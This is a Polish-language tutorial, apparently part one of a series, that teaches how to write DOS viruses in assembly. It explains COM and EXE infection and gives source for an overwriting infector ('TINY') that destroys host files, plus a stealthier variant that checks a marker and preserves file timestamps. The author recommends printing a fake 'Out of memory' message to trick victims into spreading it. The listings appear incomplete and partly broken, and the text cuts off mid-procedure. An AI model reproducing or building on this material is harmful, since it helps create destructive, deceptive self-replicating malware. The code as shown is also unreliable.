CZĘŚĆ 1
Do nauki pisania wirusów będzie potrzebnych kilka narzędzi:
· jakiś kompilator asemblerowy, np. A86, czy TASM i TLINK
· trochę czasu
· zły humor :-)
· podstawy z programowania w Assemblerze
Są tam również disassemblery i debuggery. POLECAM!!
1. ZACZYNAMY
Istnieje wiele wirusów. Powstaje ich coraz więcej. Związane jest to głównie z tym, ze na rynku powstają coraz to nowsze programy, które praktycznie same tworzą nowe "szkodniki". My jako pseudoautorzy podajemy tylko ich podstawowe parametry, a głównie autora. Większość programów antywirusowych potrafi wykryć wirusy stworzone przy pomocy takich programów. Wszystkie one maja jakieś cechy wspólne. Jednak przez pewne różnice w kodzie programy antywirusowe nie potrafią ich usunąć. Uważam, ze takie pisanie wirusów jest do niczego. Dużo więcej frajdy sprawia stworzenie takiego szkodnika, który nie jest wykrywany przez skanery, a przy okazji pokazuje jakiś ciekawy efekt graficzny, bądź dźwiękowy. Wirusy doklejają się prawie do wszystkich plików. Potrafią zaatakować pliki typu: EXE, COM, SYS, DLL, VXD, XLS, DOC. Są próby nawet plików BAT. By stworzyć wirusa danego typu pliku trzeba poznać jego budowę. Po krotce:
a) pliki typu EXE posiadają własny nagłówek, w którym zapisany jest punkt startu programu, czyli odkąd ma ruszyć wykonywanie programu po jego uruchomieniu. Większość wirusów plików EXE dokleja się na ich końcu zapamiętując punkt startu znajdujący się w jego nagłówku i zmieniając go na adres własnego kodu. Po uruchomieniu tak zarażonego pliku uruchomiony zostaje najpierw kod wirusa, a następnie właściwy kod programu.
b) pliki typu COM są dużo prostsze. Nie posiadają one nagłówka. Cały program mieści się w jednym segmencie, co ułatwia pisanie wirusa. Programy typu COM wykonywane są zawsze spod tego samego punktu startu, jest to 100H. Dlatego większość wirusów atakujących takie pliki dopisuje się na ich końcu zapamiętując pierwsze trzy bajty oryginalnego programu i zmieniając je na instrukcje JMP adres, gdzie adres - jest to początek kodu wirusa.
2. PODSTAWOWE KOMENDY
Na początek wytłumaczę (przypomnę) kilka komend z Assemblera, które będą potrzebne do napisania naszego bardzo prymitywnego wirusa. Wytłumaczę to bardzo ogólnie. I tak:
Rejestry ogólnego przeznaczenia:
AX - dzieli się na AH i AL
BX - dzieli się na BH i BL
CX - dzieli się na CH i CL
DX - dzieli się na DH i DL
Rejestry segmentowe:
CS - segment kodu
DS - segment danych
Rejestr znaczników:
do tego rejestru programista nie ma bezpośredniego dostępu, może poszczególne jego bity zmieniać przy pomocy innych instrukcji Assemblera.
Podstawowe komendy:
MOV X,Y - instrukcja kopiuje zawartość rejestru, lub komórki pamięci X do rejestru lub komórki Y. Nie wolno kopiować komórki pamięci do komórki pamięci. Jako X możemy również podać wartość stałą. Nie wolno przesyłać wartości stałej do rejestru segmentowego.
INT X - instrukcja powoduje wywołanie przerwania o numerze X
JMP X - instrukcja powoduje wykonanie skoku bezwarunkowego pod adres X
XCHG X,Y - instrukcja powoduje zamianę miedzy sobą wartości dwóch rejestrów.
XOR X,Y - rozkaz oblicza sumę symetryczna rejestrów X i Y. Jeśli wykonamy ta instrukcje na tych samych rejestrach, to zostaną one wyzerowane, np. XOR AX,AX (AX=0)
Do napisania pierwszego wirusa będą nam potrzebne również pewne przerwania:
INT 21H - przerwanie 21H (wywołanie funkcji DOS-u)
MOV AH,x - X - numer funkcji przerwania
AH=4EH - funkcja powoduje szukanie pliku w katalogu bieżącym o nazwie, do której adres podany jest w DS:DX. W nazwie tej można używać gwiazdek i znaku zapytania. W rejestrze CX podajemy atrybut szukanego pliku. Jeśli plik zostanie znaleziony znacznik C zostanie wyzerowany, w DTA będzie znajdował się opis znalezionego pliku. Jeśli wystąpi błąd znacznik C będzie ustawiony (=1), a w rejestrze AX będzie kod powstałego błędu.
Blok DTA zaczyna się od adresu 80H i ma następującą budowę:
OFFSET ROZMIAR ZAWARTOŚĆ
0H 15H Zarezerwowane dla funkcji 4FH
15H 1H Atrybuty
16H 2H Czas ostatniej modyfikacji
18H 2H Data ostatniej modyfikacji
1AH 4H Rozmiar pliku w bajtach
1EH 0DH Nazwa pliku
Tak wiec nazwa znalezionego pliku znajduje się pod adresem 9EH.
AH=4FH - funkcja powoduje szukanie kolejnego pliku. Jeśli nie zostanie znaleziony znacznik C zostanie ustawiony.
AH=3DH - funkcja powoduje otwarcie pliku. W DS:DX podajemy adres nazwy pliku w kodzie ASCIIZ, czyli nazwa musi być zakończona kodem ASCII 0, a w AL podajemy tryb dostępu. Mamy do dyspozycji:
AL=0 - tylko do odczytu
AL=1 - tylko do zapisu
AL=2 - do odczytu i zapisu
Jeśli powstanie jakiś błąd podczas otwierania pliku zostanie ustawiony znacznik C, w przeciwnym razie w rejestrze AX znajdować się będzie numer dojścia do pliku.
AH=3EH - funkcja powoduje zamkniecie dojścia do pliku. Pliki trzeba zamknąć by wprowadzone zmiany zostały zachowane. W rejestrze BX podajemy numer dojścia do pliku, który chcemy zamknąć.
AH=40H - funkcja powoduje zapisanie CX bajtów do pliku związanego z dojściem podanym w BX. Zapisane zostaną bajty zaczynając od adresu DS:DX.
AH=42H - funkcja powoduje ustalenie pozycji wskaźnika w pliku. W rejestrze BX podajemy numer dojścia do naszego pliku, w CX:DX adres przesunięcia, a w AL sposób przesunięcia. Mamy trzy rodzaje przesunięć:
AL=0 - względem początku pliku
AL=1 - względem aktualnej pozycji wskaźnika w pliku
AL=2 - względem końca pliku
Po wykonaniu przerwania w DX:AX znajduje się aktualna pozycja kursora. Jeśli więc chcemy ustawić kursor na końcu pliku rejestry CX i DX będą równe zero, a przesuniecie będzie względem końca pliku (AL=2). Funkcja ta to także sposób na odczytanie długości pliku. Wywołana z AL=2, CX=DX=0 zwróci w DX:AX długość pliku.
3. TO DO DZIEŁA
Pierwszym naszym wirusem będzie wirus o nazwie TINY. Zajmuje on tylko 32 bajty. Dokleja się on na początku pliku COM zamazując oryginalny kod. Tak zarażonych plików nie da się już odzyskać.
Nasz wirus będzie wykonywał następujące czynności:
1. szuka pliku do zarażenia
2. otwiera znaleziony plik
3. zapisuje samego siebie
Wirus więc wygląda tak:
start: ; początek wirusa
MOV AH,4EH ; szukanie pliku
MOV DX,OFFSET maska ; z rozszerzeniem COM
INT 21H
MOV AX,3D02H ; otwarcie pliku
MOV DX,09EH ; nazwa znalezionego pliku z bloku DTA
XCHG AX,BX ; do BX numer dojścia
MOV AH,40H ; pisanie w pliku
MOV CL,20H ; CL=20H --> CL=32 - długość zapisywanego pliku
MOV DX,OFFSET start ; począwszy od początku wirusa
RET ; zakończenie programu
maska DB "*.COM",0 ; szukany plik
end start
Jest to bardzo prymitywny wirus. Nie wyświetla żadnego napisu. Zarażone pliki zmieniają swoja datę oraz czas ostatniej modyfikacji. Wirus również nie zarazi pliku, który ma nałożone jakieś atrybuty. Jednak program powyższy można nazwać WIRUSEM, gdy potrafi się rozprzestrzeniać. Można w pewien sposób poprawić naszego wirusa dostawiając na jego końcu napis np. "Out of memory", tak by po zarażeniu pliku napis ten został wyświetlony. Powinno to zmylić potencjalnego użytkownika i skusić do powtórzenia tej operacji. Wirusy tego typu maja jedna zaletę. Zarażone programy nie zmieniają swojej objętości.
Jest jeszcze jeden wirus o nazwie TRIVIAL.127. Jest to poprawiona wersja naszego TINY'ego. Czym ona się różni?
nie zaraza plików wcześniej zarażonych
kontroluje ewentualne błędy
pliki nie zmieniają swojej daty i czasu ostatniej modyfikacji
Zastanówmy się jak zrobić poszczególne te elementy.
Nasz wirus musi być trochę bardziej inteligentny i jeśli znajdzie plik, który został wcześniej już zarażony, to niech go nie zaraza jeszcze raz tylko poszuka kolejnej ofiary. By to uczynić musi jakoś przetestować znaleziony plik i stwierdzić, w nim obecność swojego kodu bądź nie. W wirusie TRIVIAL.127 posłużono się w tym celu pierwszymi dwoma bajtami. Cały wirus zaczyna się od instrukcji MOV BX,BX, która ma kod 8BDB. Teraz po znalezieniu ofiary, zostają sprawdzone jej dwa pierwsze bajty i jeśli to 8BDB, to szukamy drugiego pliku, a jeśli nie to zarażamy. By uczynić powyższe zadanie przypomnę kilka instrukcji, które będą nam potrzebne:
CMP X,Y - instrukcja powoduje porównanie dwóch rejestrów, bądź rejestru i stałej oraz na podstawie wyniku odpowiednie ustawienie znaczników.
JC adres - jest to skok warunkowy. Jeśli znacznik C jest ustawiony (=1) to zostanie wykonany skok pod wskazany adres.
JE adres - skok gdy wartości rejestrów X i Y są takie same (X=Y)
JNE adr - skok gdy wartości X i Y są różne (X!=Y lub X<>Y)
PUSH rej - instrukcja powoduje zapamiętanie na stosie wartości rejestru REJ
POP rej - instrukcja powoduje zdjęcie ze stosu wartości i zapamiętanie jej w rejestrze REJ.
CALL adr - instrukcja powoduje skok do procedury, która musi być zakończona instrukcją RET
RET - powoduje powrót z procedury do miejsca, z którego została wywołana.
Będzie również potrzebnych kilka przerwań (funkcji):
INT 21H - przerwanie 21H
MOV AL,X - X - numer funkcji
AH=3FH - funkcja powoduje czytanie pliku. W rejestrze BX podajemy numer dojścia do pliku, w CX liczbę czytanych bajtów, a w DS:DX adres bufora, gdzie zostaną zapamiętane dane. Jeśli wystąpi podczas operacji jakiś błąd, to zostanie ustawiony znacznik C, a rejestr AX będzie zawierał kod powstałego błędu. Jeśli natomiast operacja zakończy się sukcesem, to w AX będzie zapisana liczba przeczytanych bajtów.
AH=57H - funkcja ustawia lub sprawdza aktualna datę oraz czas ostatniej modyfikacji. Jeśli AL=0 to sprawdzamy, a wtedy podajemy w BX numer dojścia i po wykonaniu przerwania w CX znajduje się czas, a w DX data modyfikacji. Gdy AL=1 to ustawiamy, wtedy podajemy również w BX numer dojścia i w CX czas, a DX datę modyfikacji.
AH=4CH - funkcja powoduje zakończenie wykonywania programu i zwrócenie wartości podanej w AL przez ten program.
Nasz wirus wiec wygląda tak:
start: ; początek kodu wirusa
MOV BX,BX ; instrukcja charakterystyczna dla wirusa
MOV CX,0 ; ustalenie atrybutów szukanego pliku
MOV DX,OFFSET maska ; nazwa szukanego pliku (*.COM)
etyk1:
JC etyk2 ; jeśli nie znaleziono pliku, to skok pod ETYK2
CALL proc1 ; jeśli znaleziono, to infekcja - skok to PROC1
MOV AH,4FH ; szukanie następnego
JMP etyk1 ; skok na początek ETYK1
etyk2:
MOV AX,4C00H ; zakończenie programu
proc1: ; procedura zaraża plik
MOV AX,3D02H ; otwarcie pliku do odczytu i zapisu
MOV DX,9EH ; nazwa w bloku DTA, czyli adres 9EH
XCHG BX,AX ; do BX numer dojścia do pliku
MOV AH,3FH ; czytanie z pliku
MOV CX,2 ; dwóch pierwszych bajtów
MOV DX,OFFSET bufor ; i zapamiętanie ich w Buforze
CMP WORD PTR bufor, 08BDBH ; jeśli wczytane bajty to 8BDB
JE etyk4 ; tzn. ze plik został już zarażony
XOR DX,DX ; wyzerowanie rejestru DX
MOV CX,DX ; do CX wartość DX, czyli CX=0
MOV AX,4200H ; ustawienie wskaźnika na początku pliku
MOV AL,0 ...
lazarusp22